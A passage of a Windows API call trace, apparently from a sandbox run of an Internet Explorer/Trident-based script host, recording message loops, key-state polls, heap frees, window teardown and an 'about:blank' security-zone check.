(nVirtKey=18) returned 0 [0249.316] GetMessageTime () returned 252562 [0249.316] GetMessagePos () returned 0x34010a [0249.316] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0xcfef8c | out: plResult=0xcfef8c) returned 0x0 [0249.317] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.317] GetKeyState (nVirtKey=1) returned 0 [0249.317] GetKeyState (nVirtKey=2) returned 0 [0249.317] GetKeyState (nVirtKey=16) returned 0 [0249.317] GetKeyState (nVirtKey=17) returned 0 [0249.317] GetKeyState (nVirtKey=4) returned 0 [0249.317] GetKeyState (nVirtKey=18) returned 0 [0249.317] GetMessageTime () returned 252562 [0249.317] GetMessagePos () returned 0x34010a [0249.317] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x282, wParam=0x1, lParam=0x0, plResult=0xcfe7ac | out: plResult=0xcfe7ac) returned 0x0 [0249.317] SetTimer (hWnd=0x8002e, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0249.318] GetCurrentThreadId () returned 0xe0 [0249.318] GetCurrentThreadId () returned 0xe0 [0249.318] PostQuitMessage (nExitCode=0) [0249.318] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.318] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x272, wParam=0x0, lParam=0x0, plResult=0xcff6b4 | out: plResult=0xcff6b4) returned 0x1 [0249.318] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x272, wParam=0x0, lParam=0x0) returned 0x0 [0249.326] GetCurrentThreadId () returned 0xe0 [0249.326] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.327] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd3530 | out: hHeap=0xfb0000) returned 1 [0249.327] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe9bb0 | out: hHeap=0xfb0000) returned 1 [0249.327] RevokeDragDrop (hwnd=0x8002e) returned 0x0 [0249.329] GetCurrentThreadId () returned 0xe0 [0249.330] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.330] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x82, wParam=0x0, lParam=0x0, plResult=0xcff6ac | out: plResult=0xcff6ac) returned 0x1 [0249.330] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0249.330] GetCurrentThreadId () returned 0xe0 [0249.330] SetWindowLongW (hWnd=0x8002e, nIndex=-21, dwNewLong=0) returned 79822848 [0249.330] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xffa838 | out: hHeap=0xfb0000) returned 1 [0249.330] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1054e70 | out: hHeap=0xfb0000) returned 1 [0249.331] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1054df8 | out: hHeap=0xfb0000) returned 1 [0249.331] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1054af8 | out: hHeap=0xfb0000) returned 1 [0249.331] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1054dc8 | out: hHeap=0xfb0000) returned 1 [0249.331] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1054cd8 | out: hHeap=0xfb0000) returned 1 [0249.331] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1025398 | out: hHeap=0xfb0000) returned 1 [0249.332] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0249.334] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.335] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.335] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.335] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.335] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.335] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.335] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.335] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.335] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.336] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.336] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.336] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.336] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.336] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.336] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.336] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0249.336] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.337] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 0 [0249.337] QueryPerformanceCounter (in: lpPerformanceCount=0xcff86c | out: lpPerformanceCount=0xcff86c*=25263981824) returned 1 [0249.337] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x401, wParam=0xf0ee9c7, lParam=0x3d09) returned 0x0 [0249.337] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.337] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.337] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.338] GetCurrentThreadId () returned 0xe0 [0249.338] GetCursorPos (in: lpPoint=0xcff648 | out: lpPoint=0xcff648*(x=266, y=52)) returned 1 [0249.338] ScreenToClient (in: hWnd=0x0, lpPoint=0xcff648 | out: lpPoint=0xcff648) returned 0 [0249.338] GetKeyState (nVirtKey=16) returned 0 [0249.338] GetKeyState (nVirtKey=17) returned 0 [0249.338] GetKeyState (nVirtKey=18) returned 0 [0249.338] GetKeyState (nVirtKey=160) returned 0 [0249.338] GetKeyState (nVirtKey=162) returned 0 [0249.338] GetKeyState (nVirtKey=164) returned 0 [0249.339] GetCursorPos (in: lpPoint=0xcff650 | out: lpPoint=0xcff650*(x=266, y=52)) returned 1 [0249.339] ScreenToClient (in: hWnd=0x0, lpPoint=0xcff650 | out: lpPoint=0xcff650) returned 0 [0249.339] GetKeyState (nVirtKey=16) returned 0 [0249.339] GetKeyState (nVirtKey=17) returned 0 [0249.339] GetKeyState (nVirtKey=18) returned 0 [0249.339] GetKeyState (nVirtKey=160) returned 0 [0249.339] GetKeyState (nVirtKey=162) returned 0 [0249.339] GetKeyState (nVirtKey=164) returned 0 [0249.339] GetCurrentThreadId () returned 0xe0 [0249.339] GetCurrentThreadId () returned 0xe0 [0249.339] IsWinEventHookInstalled (event=0x800a) returned 0 [0249.339] GetCurrentThreadId () returned 0xe0 [0249.340] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.340] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.340] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.340] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.340] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.340] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.340] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.340] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.340] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.340] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.340] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.340] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.341] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.341] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.341] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.341] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 0 [0249.341] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0249.341] GetCurrentThreadId () returned 0xe0 [0249.341] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0249.341] GetCurrentThreadId () returned 0xe0 [0249.341] GetCurrentThreadId () returned 0xe0 [0249.341] GetCurrentThreadId () returned 0xe0 [0249.341] IUri:GetScheme (in: This=0xfd1b94, pdwScheme=0xcff93c | out: pdwScheme=0xcff93c*=0xf) returned 0x0 [0249.370] GetCursorPos (in: lpPoint=0xcff7d0 | out: lpPoint=0xcff7d0*(x=266, y=52)) returned 1 [0249.370] ScreenToClient (in: hWnd=0x0, lpPoint=0xcff7d0 | out: lpPoint=0xcff7d0) returned 0 [0249.370] GetKeyState (nVirtKey=16) returned 0 [0249.370] GetKeyState (nVirtKey=17) returned 0 [0249.370] GetKeyState (nVirtKey=18) returned 0 [0249.370] GetKeyState (nVirtKey=160) returned 0 [0249.370] GetKeyState (nVirtKey=162) returned 0 [0249.370] GetKeyState (nVirtKey=164) returned 0 [0249.370] GetCursorPos (in: lpPoint=0xcff7c8 | out: lpPoint=0xcff7c8*(x=266, y=52)) returned 1 [0249.370] ScreenToClient (in: hWnd=0x0, lpPoint=0xcff7c8 | out: lpPoint=0xcff7c8) returned 0 [0249.370] GetKeyState (nVirtKey=16) returned 0 [0249.370] GetKeyState (nVirtKey=17) returned 0 [0249.370] GetKeyState (nVirtKey=18) returned 0 [0249.371] GetKeyState (nVirtKey=160) returned 0 [0249.371] GetKeyState (nVirtKey=162) returned 0 [0249.371] GetKeyState (nVirtKey=164) returned 0 [0249.371] GetCurrentThreadId () returned 0xe0 [0249.371] GetCurrentThreadId () returned 0xe0 [0249.371] IsWinEventHookInstalled (event=0x8001) returned 1 [0249.371] NotifyWinEvent (event=0x8001, hwnd=0x30218, idObject=0, idChild=0) [0249.371] GetCurrentThreadId () returned 0xe0 [0249.371] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0xfe5248) returned 0x0 [0249.371] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe9c48 | out: hHeap=0xfb0000) returned 1 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe8128 | out: hHeap=0xfb0000) returned 1 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] GetCurrentThreadId () returned 0xe0 [0249.372] free (_Block=0x58c8378) [0249.372] _flushall () returned 3 [0249.372] free (_Block=0x58c81f0) [0249.372] free (_Block=0x58c8260) [0249.373] _flushall () returned 3 [0249.373] VirtualFree (lpAddress=0x6675000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0249.373] free (_Block=0x58d7f18) [0249.373] free (_Block=0xd9ef90) [0249.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1908 | out: lpSystemTimeAsFileTime=0x58d1908*(dwLowDateTime=0xaf4af6df, dwHighDateTime=0x1d4f110)) [0249.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1918 | out: lpSystemTimeAsFileTime=0x58d1918*(dwLowDateTime=0xaf4af6df, dwHighDateTime=0x1d4f110)) [0249.373] ResetWriteWatch (lpBaseAddress=0x6670000, dwRegionSize=0x1000) returned 0x0 [0249.373] ResetWriteWatch (lpBaseAddress=0x6671000, dwRegionSize=0x1000) returned 0x0 [0249.373] ResetWriteWatch (lpBaseAddress=0x6672000, dwRegionSize=0x1000) returned 0x0 [0249.373] ResetWriteWatch (lpBaseAddress=0x6673000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6674000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6676000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6677000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6678000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6679000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667a000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667b000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667c000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667d000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667e000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x667f000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6680000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6681000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6682000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6683000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6684000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6685000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6686000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6687000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6688000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x6689000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x668a000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x668b000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x668c000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x668d000, dwRegionSize=0x1000) returned 0x0 [0249.374] ResetWriteWatch (lpBaseAddress=0x668e000, dwRegionSize=0x1000) returned 0x0 [0249.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1940 | out: lpSystemTimeAsFileTime=0x58d1940*(dwLowDateTime=0xaf4af6df, dwHighDateTime=0x1d4f110)) [0249.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1948 | out: lpSystemTimeAsFileTime=0x58d1948*(dwLowDateTime=0xaf4af6df, dwHighDateTime=0x1d4f110)) [0249.375] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x144) returned 0x4d765f0 [0249.376] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0249.376] VirtualAlloc (lpAddress=0x4c70000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c70000 [0249.377] GetTickCount () returned 0x3dae0 [0249.377] SetEvent (hEvent=0x4b0) returned 1 [0249.378] SetThreadPriority (hThread=0x4b4, nPriority=0) returned 1 [0249.378] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x3e8) returned 0x0 [0249.378] SetThreadPriority (hThread=0x4b4, nPriority=-1) returned 1 [0249.379] free (_Block=0x58c8378) [0249.379] free (_Block=0x58dad80) [0249.379] free (_Block=0x58daba0) [0249.379] free (_Block=0x58dac00) [0249.379] free (_Block=0x58dacd8) [0249.379] free (_Block=0x58dac60) [0249.381] free (_Block=0x58dab10) [0249.382] free (_Block=0x58d8fd0) [0249.382] GetTickCount () returned 0x3daf0 [0249.382] GetTickCount () returned 0x3daf0 [0249.382] RtlInterlockedPopEntrySList (in: ListHead=0x58ca0a0 | out: ListHead=0x58ca0a0) returned 0x0 [0249.382] RtlInterlockedPopEntrySList (in: ListHead=0x58ca080 | out: ListHead=0x58ca080) returned 0x0 [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1930 | out: lpSystemTimeAsFileTime=0x58d1930*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] FileSystemObject:IUnknown:Release (This=0xd9c7b8) returned 0x1 [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1938 | out: lpSystemTimeAsFileTime=0x58d1938*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1940 | out: lpSystemTimeAsFileTime=0x58d1940*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1948 | out: lpSystemTimeAsFileTime=0x58d1948*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1950 | out: lpSystemTimeAsFileTime=0x58d1950*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1958 | out: lpSystemTimeAsFileTime=0x58d1958*(dwLowDateTime=0xaf4d5842, dwHighDateTime=0x1d4f110)) [0249.382] GetUserDefaultLCID () returned 0x409 [0249.382] GetACP () returned 0x4e4 [0249.382] free (_Block=0x58c8180) [0249.382] GetCurrentThreadId () returned 0xe0 [0249.382] free (_Block=0x58daae0) [0249.382] free (_Block=0xd9c6f8) [0249.383] free (_Block=0xd9cdf8) [0249.383] FreeLibrary (hLibModule=0x72360000) returned 1 [0249.386] SetEvent (hEvent=0x378) returned 1 [0249.386] GetTickCount () returned 0x3daf0 [0249.387] KillTimer (hWnd=0x3020e, uIDEvent=0x2007) returned 1 [0249.387] IUnknown:Release (This=0xfd0030) returned 0x0 [0249.387] IUnknown:Release (This=0x4c20e04) returned 0x0 [0249.387] IUnknown:Release (This=0x7387f4d4) returned 0x1 [0249.387] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfddc20 | out: hHeap=0xfb0000) returned 1 [0249.387] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1021bb0 | out: hHeap=0xfb0000) returned 1 [0249.387] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0xcffa08 | out: ppURI=0xcffa08*=0xfd100c) returned 0x0 [0249.387] IUri:GetScheme (in: This=0xfd100c, pdwScheme=0xcff9a0 | out: pdwScheme=0xcff9a0*=0x11) returned 0x0 [0249.387] IUnknown:QueryInterface (in: This=0xfd100c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff98c | out: ppvObject=0xcff98c*=0xfd100c) returned 0x0 [0249.387] IUnknown:Release (This=0xfd100c) returned 0x5 [0249.388] IUnknown:AddRef (This=0xfd100c) returned 0x6 [0249.388] IUnknown:Release (This=0xfd100c) returned 0x5 [0249.388] IUri:IsEqual (in: This=0xfd1b94, pUri=0xfd100c, pfEqual=0xcff9f0 | out: pfEqual=0xcff9f0*=0) returned 0x0 [0249.388] IUnknown:Release (This=0xfd1b94) returned 0x4 [0249.388] IUnknown:AddRef (This=0xfd100c) returned 0x6 [0249.388] IUri:GetAbsoluteUri (in: This=0xfd100c, pbstrAbsoluteUri=0x4c08240 | out: pbstrAbsoluteUri=0x4c08240*="about:blank") returned 0x0 [0249.388] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0xfe78d8, Size=0x1c) returned 0xfe4f78 [0249.388] IUnknown:Release (This=0xfd100c) returned 0x5 [0249.388] GetCurrentProcessId () returned 0xfe4 [0249.388] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9200 | out: hHeap=0xfb0000) returned 1 [0249.388] IUnknown:Release (This=0xfd63dc) returned 0x6 [0249.388] IUnknown:Release (This=0xfd63dc) returned 0x5 [0249.388] GetCurrentThreadId () returned 0xe0 [0249.389] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcb6f8 | out: hHeap=0xfb0000) returned 1 [0249.389] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9218 | out: hHeap=0xfb0000) returned 1 [0249.389] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4f78 | out: hHeap=0xfb0000) returned 1 [0249.389] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcb920 | out: hHeap=0xfb0000) returned 1 [0249.389] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x8, Size=0x4) returned 0x10040a0 [0249.389] memcpy_s (in: _Destination=0x10040a0, _DestinationSize=0x4, _Source=0xcff860, _SourceSize=0x4 | out: _Destination=0x10040a0) returned 0x0 [0249.389] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcff60c, dwReserved=0x0 | out: ppSM=0xcff60c*=0xfd0530) returned 0x0 [0249.389] IUnknown:QueryInterface (in: This=0xfd0530, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xcff610 | out: ppvObject=0xcff610*=0xfd0530) returned 0x0 [0249.389] IUnknown:Release (This=0xfd0530) returned 0x1 [0249.390] IInternetSecurityManager:SetSecuritySite (This=0xfd0530, pSite=0x4c20e04) returned 0x0 [0249.390] IUnknown:AddRef (This=0x4c20e04) returned 0x49 [0249.390] IUnknown:QueryInterface (in: This=0x4c20e04, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcff5e8 | out: ppvObject=0xcff5e8*=0x4c20e08) returned 0x0 [0249.390] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0xfd0564 | out: ppvObject=0xfd0564*=0x0) returned 0x80004002 [0249.390] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xfd0560 | out: ppvObject=0xfd0560*=0x0) returned 0x80004002 [0249.390] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0xfd055c | out: ppvObject=0xfd055c*=0x0) returned 0x80004002 [0249.390] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xfd0558 | out: ppvObject=0xfd0558*=0x7387f4d4) returned 0x0 [0249.390] IUnknown:Release (This=0x4c20e08) returned 0x0 [0249.390] IUnknown:AddRef (This=0xfd0530) returned 0x2 [0249.390] IUnknown:AddRef (This=0xfd100c) returned 0x6 [0249.390] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0249.390] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="about:blank", pdwZone=0xcff660, dwFlags=0x0 | out: pdwZone=0xcff660*=0xffffffff) returned 0x800c0011 [0249.391] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0249.391] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0249.391] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0530, pUri=0xfd100c, dwAction=0x2106, pPolicy=0xcff664, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0xcff644 | out: pPolicy=0xcff664*=0x0, pdwOutFlags=0xcff644*=0x0) returned 0x0 [0249.391] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0xcff664, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0xcff664*=0x0) returned 0x0 [0249.391] IUnknown:Release (This=0xfd0530) returned 0x1 [0249.391] IUnknown:Release (This=0xfd100c) returned 0x5 [0249.391] IUnknown:Release (This=0xfbd710) returned 0x0 [0249.392] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10040a0 | out: hHeap=0xfb0000) returned 1 [0249.421] KillTimer (hWnd=0x3020e, uIDEvent=0x2005) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x96) returned 0xfcb6f8 [0249.421] memcpy_s (in: _Destination=0xfcb6f8, _DestinationSize=0x96, _Source=0xfe4ac8, _SourceSize=0x96 | out: _Destination=0xfcb6f8) returned 0x0 [0249.421] GetCurrentProcessId () returned 0xfe4 [0249.421] GetCurrentThreadId () returned 0xe0 [0249.421] GetCurrentThreadId () returned 0xe0 [0249.421] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x96) returned 0x10165e8 [0249.421] memcpy_s (in: _Destination=0x10165e8, _DestinationSize=0x96, _Source=0xfe4ac8, _SourceSize=0x96 | out: _Destination=0x10165e8) returned 0x0 [0249.421] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10165e8 | out: hHeap=0xfb0000) returned 1 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcb6f8 | out: hHeap=0xfb0000) returned 1 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4b68 | out: hHeap=0xfb0000) returned 1 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4ac8 | out: hHeap=0xfb0000) returned 1 [0249.422] IUnknown:Release (This=0xfd63dc) returned 0x2 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, 